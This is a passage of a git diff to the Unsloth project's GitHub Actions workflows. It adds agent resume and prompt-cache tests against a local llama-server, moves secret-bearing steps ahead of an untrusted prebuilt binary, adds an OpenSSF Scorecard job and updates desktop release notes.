═════════════════════════════════════════════════════════════════════ + resume: + name: resume (${{ matrix.agent }}) + if: github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + timeout-minutes: 60 + strategy: + fail-fast: false + matrix: + # codex/pi relocate their whole home (resume broken without --persist); + # opencode/claude keep session data in a fixed dir (resume already works). + # One agent from each class proves the split end to end; openclaw/hermes + # share codex's relocation mechanism and are covered by the unit tests. + agent: [codex, opencode, claude, pi] + env: + GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF + GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18904' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: '22' + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore GGUF model file + id: cache-gguf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Download GGUF if cache miss + id: download-gguf + if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' + env: + HF_TOKEN: ${{ secrets.HF_TOKEN }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p gguf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache + + - name: Save GGUF model file + if: always() && steps.download-gguf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Install Unsloth (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + HF_TOKEN: ${{ secrets.HF_TOKEN }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + - name: Serve unsloth run --disable-tools (gemma-4-E4B) + run: | + rm -rf ~/.unsloth/studio/auth + bash .github/scripts/serve-unsloth-run.sh \ + --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" \ + --health-timeout 900 + + - name: Preflight the agent's API dialect (class-a isolation) + env: + AGENT: ${{ matrix.agent }} + run: | + set -uo pipefail + B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY" + preflight_fail() { + echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**."; + exit 1 + } + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \ + -H "Authorization: Bearer $K") || true + [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code" + case "$AGENT" in + claude) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code" + ;; + codex) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true + [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code" + ;; + *) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code" + ;; + esac + echo "preflight OK for $AGENT" + + - name: Install agent CLI (class-b isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-install.sh "$AGENT" + + - name: Resume experiment (launch path) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT" + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done + fi + + - name: Stop Unsloth + if: always() + run: | + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: resume-${{ matrix.agent }}-log + path: | + logs/ + agent-workdir/ + redacted-configs/ + retention-days: 7 + + # ═════════════════════════════════════════════════════════════════════ + # Job 3: prompt-cache + # (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0 + # (server prompt-cache sanity). + # (b) Claude Code attribution A/B: with CLAUDE_CODE_ATTRIBUTION_HEADER=0 + # expect a llama-server KV-cache HIT on turn 2; without it expect a + # MISS. If it inverts, the guide flag is stale. + # PR + weekly + dispatch (cheap, gemma-3-270m). + # ═════════════════════════════════════════════════════════════════════ + prompt-cache: + name: prompt-cache (gemma-3-270m) + runs-on: ubuntu-latest + timeout-minutes: 25 + env: + GGUF_REPO: unsloth/gemma-3-270m-it-GGUF + GGUF_VARIANT: UD-Q4_K_XL + GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18903' + HF_HOME: ${{ github.workspace }}/hf-cache + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: '22' + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore HF_HOME for ${{ env.GGUF_REPO }} + id: cache-hf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: hf-cache + key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 + + - name: Prime HF_HOME with the GGUF + id: prime-hf + if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' + env: + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p hf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" + + - name: Save HF_HOME for ${{ env.GGUF_REPO }} + if: always() && steps.prime-hf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: hf-cache + key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 + + - name: Install Unsloth (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # Gated off PR (see note above); public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + - name: Serve unsloth run --disable-tools (gemma-3-270m) + run: | + rm -rf ~/.unsloth/studio/auth + bash .github/scripts/serve-unsloth-run.sh \ + --model "$GGUF_REPO" --gguf-variant "$GGUF_VARIANT" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" + + # (a) server prompt-cache sanity on the OpenAI chat path. The helper runs + # the 2-turn probe internally (turn 2 reuses turn 1's prefix) and asserts + # turn-2 usage.prompt_tokens_details.cached_tokens > 0. This is the hard + # gate -- it proves llama.cpp KV reuse is surfaced on /v1/chat/completions. + - name: Server prompt-cache sanity (cached_tokens > 0) + run: bash .github/scripts/assert-prompt-cache.sh api "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" + + - name: Install Claude Code (class-b isolation) + env: + AGENT: claude + run: bash .github/scripts/agent-guides-install.sh claude + + # (b) Claude attribution A/B against the llama-server log. This is the most + # environment-sensitive check (it depends on the bundled llama.cpp's + # slot-reuse log wording and on claude --continue reusing the prefix), so + # it is non-blocking until calibrated on the first scheduled run; the + # server cache sanity above is the hard gate. The step still prints the + # observed HIT/MISS so drift is visible in the log + artifacts. + - name: Claude attribution A/B (HIT with header=0, MISS without) + continue-on-error: true + run: bash .github/scripts/agent-guides-drive.sh attribution-ab claude + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + # Redact the key across the WHOLE logs/ tree, not just studio-logs: + # serve-unsloth-run.sh records the `unsloth run` banner (which prints + # `API Key: `) into logs/unsloth-run-.log, and the upload + # step publishes all of logs/, so scrubbing only studio-logs would leak + # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done + fi + + - name: Stop Unsloth + if: always() + run: | + # Guard the PID: an unset/zero UNSLOTH_SERVER_PID would make + # `kill 0` signal this step's whole process group and abort cleanup. + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: prompt-cache-log + path: | + logs/ + redacted-configs/ + retention-days: 7 diff --git a/.github/workflows/lockfile-audit.yml b/.github/workflows/lockfile-audit.yml index 9c28e21672..aaf258d615 100644 --- a/.github/workflows/lockfile-audit.yml +++ b/.github/workflows/lockfile-audit.yml @@ -60,11 +60,11 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 5 steps: - - uses: actions/checkout@v4 + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 with: persist-credentials: false - - uses: actions/setup-python@v5 + - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0 with: python-version: '3.12' diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml index 221e86f235..aadf0b54e6 100644 --- a/.github/workflows/mlx-ci.yml +++ b/.github/workflows/mlx-ci.yml @@ -130,7 +130,7 @@ jobs: # MLX support landed after the most recent unsloth-zoo PyPI # release; the wheel still raises NotImplementedError on # Apple Silicon when device_type.get_device_type() runs - # unguarded. Studio's own install.sh overlays unsloth-zoo + # unguarded. Unsloth's own install.sh overlays unsloth-zoo # from git main for the same reason. Pulling deps lets pip # resolve the platform-conditional MLX-only wheels (mlx, # mlx-lm, mlx-vlm gated on darwin+arm64 in unsloth-zoo's @@ -163,7 +163,7 @@ jobs: 'pytest==9.0.3' \ 'pytest-asyncio==1.3.0' \ 'httpx==0.28.1' - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch==2.10.0' # github.com occasionally 500s on the git fetch; retry the # zoo install so a single upstream blip does not fail CI. @@ -231,41 +231,126 @@ jobs: tests/studio/test_is_mlx_dispatch_gate.py \ tests/studio/test_mlx_training_worker_behaviors.py - # Studio prebuilt llama.cpp install + GGUF inference. Mirrors the - # path Studio's setup.sh takes on macOS since #5963: plan against - # the unslothai/llama.cpp fork's latest release, which ships the - # bin-macos-arm64 bundle plus the llama-prebuilt-manifest.json the - # default policy reads. After install, downloads a small published - # GGUF (unsloth/gemma-3-270m-it-GGUF, Q4_K_M) and validates - # llama-server /completion end to end. An install failure or a - # non-zero binary exit is an Unsloth/Studio bug. - - name: Studio prebuilt llama.cpp install + GGUF inference (Mac M1) + # Real MLX training + inference smoke test. Trains + # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps + # (batch_size=2, gradient_accumulation_steps=3) on a single + # repeated row ("<> My name is Unsloth!"), then saves + # the trained model in 3 export formats. The `train` subcommand + # captures per-phase timing + peak GPU + peak RSS into + # train_metrics.json so we can detect regressions across CI runs. + - name: MLX export round-trip — TRAIN + SAVE 3 formats + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + UNSLOTH_COMPILE_DISABLE: '1' + run: | + mkdir -p mlx_workdir + # Authenticate llama.cpp's release-API lookup (anonymous 403s on rate-limit); + # read-only GITHUB_TOKEN scoped here only, never to steps that run binaries. + GH_TOKEN="${{ secrets.GITHUB_TOKEN }}" GITHUB_TOKEN="${{ secrets.GITHUB_TOKEN }}" \ + python tests/studio/run_real_mlx_smoke.py train \ + --workdir "$PWD/mlx_workdir" + + # Each reload step runs in a FRESH Python process to confirm + # the cold-start path users would hit in production also works + # (not just the in-memory continuation of a still-running + # trainer). FastMLXModel.from_pretrained gets called from + # scratch; mx.random is re-seeded; per-step timing + peak + # memory are emitted to {format}_reload_metrics.json next to + # the saved dir. + - name: MLX export round-trip — RELOAD LoRA (fresh process) + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + UNSLOTH_COMPILE_DISABLE: '1' + run: | + python tests/studio/run_real_mlx_smoke.py reload \ + --format lora \ + --dir "$PWD/mlx_workdir/lora" + + - name: MLX export round-trip — RELOAD merged_16bit (fresh process) + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + UNSLOTH_COMPILE_DISABLE: '1' + run: | + python tests/studio/run_real_mlx_smoke.py reload \ + --format merged \ + --dir "$PWD/mlx_workdir/merged_16bit" + + # GGUF reload uses the llama-cli binary that save_pretrained_gguf + # built. If save_pretrained_gguf was skipped during train (e.g. + # llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer + # vocab -- a downstream llama.cpp limitation, not an unsloth_zoo + # bug), this step emits a workflow warning and exits 0 so the + # LoRA + merged_16bit assertions remain the gating signal. + - name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process) + env: + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} + run: | + if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then + python tests/studio/run_real_mlx_smoke.py reload \ + --format gguf \ + --dir "$PWD/mlx_workdir/gguf" + else + REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')") + echo "::warning title=GGUF round-trip skipped::${REASON}" + echo "GGUF export was skipped during the train phase. Reason:" + echo " ${REASON}" + echo "Continuing without failing the job; the LoRA + merged_16bit" + echo "reload assertions are still gating this PR." + fi + + # Print all metrics JSON files so regressions are visible in the + # job log. always() so we get telemetry even if a reload step + # asserted gibberish. + - name: MLX export round-trip — aggregate metrics + if: always() + run: | + for f in mlx_workdir/train_metrics.json \ + mlx_workdir/lora_reload_metrics.json \ + mlx_workdir/merged_reload_metrics.json \ + mlx_workdir/gguf_reload_metrics.json; do + echo "=== $f ===" + cat "$f" 2>/dev/null || echo "(missing)" + echo + done + + # Validates the macOS prebuilt path Unsloth's setup.sh uses (#5963): install the + # unslothai/llama.cpp fork's latest release, download a small public GGUF, and + # check llama-server /completion end to end. Split and placed last so the + # untrusted binary runs only in the final smoke step, after every HF_TOKEN step, + # leaving no token-bearing step or shared workspace for a tampered prebuilt to + # corrupt. GH_TOKEN: releases API; HF_TOKEN (withheld on PR): probe + GGUF fetch. + - name: Unsloth prebuilt llama.cpp install + GGUF download (Mac M1) env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - # install_llama_prebuilt.py hits the GitHub releases API to - # resolve the asset URL. Anonymous calls share the runner-IP - # rate-limit bucket and 403 quickly -- pass the workflow's - # automatic GITHUB_TOKEN to bump us to the 5000/hr authenticated - # bucket. GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -euo pipefail INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp" rm -rf "$INSTALL_DIR" - # Mirror studio/setup.sh on macOS (the install.sh user path): - # it plans against the unslothai/llama.cpp fork's latest - # release with no policy or tag flags. + # Download only -- no llama-quantize / llama-server launch in this step. python studio/install_llama_prebuilt.py \ --install-dir "$INSTALL_DIR" \ --published-repo unslothai/llama.cpp + mkdir -p /tmp/ggufs + bash .github/scripts/hf-download-with-retry.sh \ + 'unsloth/gemma-3-270m-it-GGUF' \ + 'gemma-3-270m-it-Q4_K_M.gguf' \ + /tmp/ggufs - # Studio bundles only llama-server + llama-quantize from the - # prebuilt (not llama-cli) -- inference goes through - # llama-server's HTTP /completion endpoint. Validate both: - # llama-quantize --help proves the dynamic libs link, then - # spin up llama-server and POST a /completion request on a - # tiny published GGUF. + # Final step: runs the downloaded binaries with no secrets present, and clears + # the GitHub Actions command files so a tampered prebuilt cannot influence the job. + - name: Unsloth prebuilt llama.cpp GGUF inference smoke (Mac M1) + run: | + set -euo pipefail + unset GITHUB_ENV GITHUB_PATH GITHUB_OUTPUT GITHUB_STEP_SUMMARY + INSTALL_DIR="$HOME/.unsloth-studio-prebuilt-test/llama.cpp" + # Unsloth bundles only llama-server + llama-quantize (not llama-cli); + # inference goes through llama-server's HTTP /completion endpoint. LLAMA_SERVER="$INSTALL_DIR/build/bin/llama-server" LLAMA_QUANT="$INSTALL_DIR/build/bin/llama-quantize" [ -x "$LLAMA_SERVER" ] || { echo "::error::llama-server missing at $LLAMA_SERVER"; find "$INSTALL_DIR/build" -type f | head -40; exit 1; } @@ -274,12 +359,6 @@ jobs: echo "llama-quantize: $LLAMA_QUANT" "$LLAMA_QUANT" --help >/dev/null && echo " llama-quantize loads OK" - mkdir -p /tmp/ggufs - bash .github/scripts/hf-download-with-retry.sh \ - 'unsloth/gemma-3-270m-it-GGUF' \ - 'gemma-3-270m-it-Q4_K_M.gguf' \ - /tmp/ggufs - PORT=18080 echo "=== starting llama-server on 127.0.0.1:$PORT ===" "$LLAMA_SERVER" \ @@ -321,83 +400,4 @@ jobs: tail -40 /tmp/llama-server.log exit 1 fi - echo "OK: Studio prebuilt llama.cpp on Mac M1 + GGUF /completion works" - - # Real MLX training + inference smoke test. Trains - # unsloth/gemma-3-270m-it for 7 deterministic LoRA steps - # (batch_size=2, gradient_accumulation_steps=3) on a single - # repeated row ("<> My name is Unsloth!"), then saves - # the trained model in 3 export formats. The `train` subcommand - # captures per-phase timing + peak GPU + peak RSS into - # train_metrics.json so we can detect regressions across CI runs. - - name: MLX export round-trip — TRAIN + SAVE 3 formats - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - UNSLOTH_COMPILE_DISABLE: '1' - run: | - mkdir -p mlx_workdir - python tests/studio/run_real_mlx_smoke.py train \ - --workdir "$PWD/mlx_workdir" - - # Each reload step runs in a FRESH Python process to confirm - # the cold-start path users would hit in production also works - # (not just the in-memory continuation of a still-running - # trainer). FastMLXModel.from_pretrained gets called from - # scratch; mx.random is re-seeded; per-step timing + peak - # memory are emitted to {format}_reload_metrics.json next to - # the saved dir. - - name: MLX export round-trip — RELOAD LoRA (fresh process) - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - UNSLOTH_COMPILE_DISABLE: '1' - run: | - python tests/studio/run_real_mlx_smoke.py reload \ - --format lora \ - --dir "$PWD/mlx_workdir/lora" - - - name: MLX export round-trip — RELOAD merged_16bit (fresh process) - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - UNSLOTH_COMPILE_DISABLE: '1' - run: | - python tests/studio/run_real_mlx_smoke.py reload \ - --format merged \ - --dir "$PWD/mlx_workdir/merged_16bit" - - # GGUF reload uses the llama-cli binary that save_pretrained_gguf - # built. If save_pretrained_gguf was skipped during train (e.g. - # llama.cpp's convert_hf_to_gguf asserts on the model's tokenizer - # vocab -- a downstream llama.cpp limitation, not an unsloth_zoo - # bug), this step emits a workflow warning and exits 0 so the - # LoRA + merged_16bit assertions remain the gating signal. - - name: MLX export round-trip — RELOAD GGUF via llama-cli (fresh process) - env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} - run: | - if python -c "import json,sys; m=json.load(open('mlx_workdir/train_metrics.json')); sys.exit(0 if m.get('gguf_supported') else 1)"; then - python tests/studio/run_real_mlx_smoke.py reload \ - --format gguf \ - --dir "$PWD/mlx_workdir/gguf" - else - REASON=$(python -c "import json; m=json.load(open('mlx_workdir/train_metrics.json')); print(m.get('gguf_skip_reason') or 'unknown')") - echo "::warning title=GGUF round-trip skipped::${REASON}" - echo "GGUF export was skipped during the train phase. Reason:" - echo " ${REASON}" - echo "Continuing without failing the job; the LoRA + merged_16bit" - echo "reload assertions are still gating this PR." - fi - - # Print all metrics JSON files so regressions are visible in the - # job log. always() so we get telemetry even if a reload step - # asserted gibberish. - - name: MLX export round-trip — aggregate metrics - if: always() - run: | - for f in mlx_workdir/train_metrics.json \ - mlx_workdir/lora_reload_metrics.json \ - mlx_workdir/merged_reload_metrics.json \ - mlx_workdir/gguf_reload_metrics.json; do - echo "=== $f ===" - cat "$f" 2>/dev/null || echo "(missing)" - echo - done + echo "OK: Unsloth prebuilt llama.cpp on Mac M1 + GGUF /completion works" diff --git a/.github/workflows/notebooks-ci.yml b/.github/workflows/notebooks-ci.yml index 2edcae8ab2..0e0b35dd4d 100644 --- a/.github/workflows/notebooks-ci.yml +++ b/.github/workflows/notebooks-ci.yml @@ -263,7 +263,7 @@ jobs: # unsloth_zoo.vision_utils imports PIL at module top, and the # easiest way to get a torch-compatible PIL on a CPU runner is # to let torchvision pull the right Pillow version. - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.8,<2.11' 'torchvision<0.26' # Pin to the same versions update_all_notebooks.py installs in # generated notebooks. Keep these in lockstep with PIN_TRL / diff --git a/.github/workflows/ossf.yml b/.github/workflows/ossf.yml new file mode 100644 index 0000000000..f9a270540f --- /dev/null +++ b/.github/workflows/ossf.yml @@ -0,0 +1,78 @@ +# This workflow uses actions that are not certified by GitHub. They are provided +# by a third-party and are governed by separate terms of service, privacy +# policy, and support documentation. + +name: Scorecard supply-chain security +on: + # For Branch-Protection check. Only the default branch is supported. See + # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection + branch_protection_rule: + # To guarantee Maintained check is occasionally updated. See + # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained + schedule: + - cron: '21 20 * * 0' + push: + branches: [ "main" ] + +# Declare default permissions as read only. +permissions: read-all + +jobs: + analysis: + name: Scorecard analysis + runs-on: ubuntu-latest + # `publish_results: true` only works when run from the default branch. conditional can be removed if disabled. + if: github.event.repository.default_branch == github.ref_name || github.event_name == 'pull_request' + permissions: + # Needed to upload the results to code-scanning dashboard. + security-events: write + # Needed to publish results and get a badge (see publish_results below). + id-token: write + # Uncomment the permissions below if installing in a private repository. + # contents: read + # actions: read + + steps: + - name: "Checkout code" + uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false + + - name: "Run analysis" + uses: ossf/scorecard-action@f49aabe0b5af0936a0987cfb85d86b75731b0186 # v2.4.1 + with: + results_file: results.sarif + results_format: sarif + # (Optional) "write" PAT token. Uncomment the `repo_token` line below if: + # - you want to enable the Branch-Protection check on a *public* repository, or + # - you are installing Scorecard on a *private* repository + # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action?tab=readme-ov-file#authentication-with-fine-grained-pat-optional. + # repo_token: ${{ secrets.SCORECARD_TOKEN }} + + # Public repositories: + # - Publish results to OpenSSF REST API for easy access by consumers + # - Allows the repository to include the Scorecard badge. + # - See https://github.com/ossf/scorecard-action#publishing-results. + # For private repositories: + # - `publish_results` will always be set to `false`, regardless + # of the value entered here. + publish_results: true + + # (Optional) Uncomment file_mode if you have a .gitattributes with files marked export-ignore + # file_mode: git + + # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF + # format to the repository Actions tab. + - name: "Upload artifact" + uses: actions/upload-artifact@4cec3d8aa04e39d1a68397de0c4cd6fb9dce8ec1 # v4.6.1 + with: + name: SARIF file + path: results.sarif + retention-days: 5 + + # Upload the results to GitHub's code scanning dashboard (optional). + # Commenting out will disable upload of results to your repo's Code Scanning dashboard + - name: "Upload to code-scanning" + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: results.sarif diff --git a/.github/workflows/release-desktop.yml b/.github/workflows/release-desktop.yml index e747605322..0a8d71610d 100644 --- a/.github/workflows/release-desktop.yml +++ b/.github/workflows/release-desktop.yml @@ -4,7 +4,7 @@ on: workflow_dispatch: inputs: studio_version: - description: 'Studio version tag to release (for example, v0.1.39-beta)' + description: 'Unsloth version tag to release (for example, v0.1.39-beta)' type: string required: true pypi_version: @@ -19,6 +19,19 @@ on: permissions: contents: read +env: + DESKTOP_RELEASE_NOTES: | + Desktop app for Unsloth Studio. + + **macOS**: Download the Apple Silicon `.dmg`. + **Windows**: Download the `-setup.exe` installer. + **Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental. + + > Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package. + > Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available. + > Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64` + > First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually. + concurrency: group: release-desktop-${{ github.repository }} cancel-in-progress: false @@ -56,7 +69,7 @@ jobs: if not studio_version: sys.exit('studio_version is required, for example v0.1.39-beta') if re.fullmatch(r'v?20\d{2}\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?', studio_version): - sys.exit(f'studio_version must be a Studio SemVer tag, not a date-style backend version: {studio_version}') + sys.exit(f'studio_version must be an Unsloth SemVer tag, not a date-style backend version: {studio_version}') semver_tag = re.compile( r'^v(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)' @@ -133,7 +146,7 @@ jobs: print(f'pypi_version={pypi_version}', file=output) PY - - name: Verify PyPI package and Studio stamp + - name: Verify PyPI package and Unsloth stamp shell: bash env: STUDIO_VERSION: ${{ steps.prepare.outputs.studio_version }} @@ -198,7 +211,7 @@ jobs: fi python3 scripts/stamp_studio_release.py --verify-dist "$RUNNER_TEMP/pypi-unsloth-dist" --expected "$STUDIO_VERSION" else - echo "scripts/stamp_studio_release.py not found; release-desktop requires #5308 to verify the PyPI Studio stamp." >&2 + echo "scripts/stamp_studio_release.py not found; release-desktop requires #5308 to verify the PyPI Unsloth stamp." >&2 exit 1 fi @@ -295,14 +308,6 @@ jobs: PY build: - # TODO: split into a "build (no secrets)" + "publish (secrets)" job pair - # with actions/upload-artifact handoff so the matrix build cannot - # publish a Release on its own. The current matrix runs across - # Linux/macOS/Windows in a single job, so the split needs artefact - # collection across the OS matrix and is out of scope for this - # hardening pass. - permissions: - contents: write # tauri-apps/tauri-action creates / uploads a GitHub Release strategy: fail-fast: false max-parallel: 1 @@ -311,15 +316,21 @@ jobs: - platform: macos-latest args: '--target aarch64-apple-darwin' label: macOS (Apple Silicon) + artifact: macos-aarch64 + release_arch: aarch64 # - platform: macos-latest # args: '--target x86_64-apple-darwin' # label: macOS (Intel) - platform: ubuntu-22.04 args: '' label: Linux (x64) + artifact: linux-x64 + release_arch: x64 - platform: windows-latest args: '' label: Windows (x64) + artifact: windows-x64 + release_arch: x64 name: Build ${{ matrix.label }} needs: prepare-version @@ -353,7 +364,7 @@ jobs: if: matrix.platform == 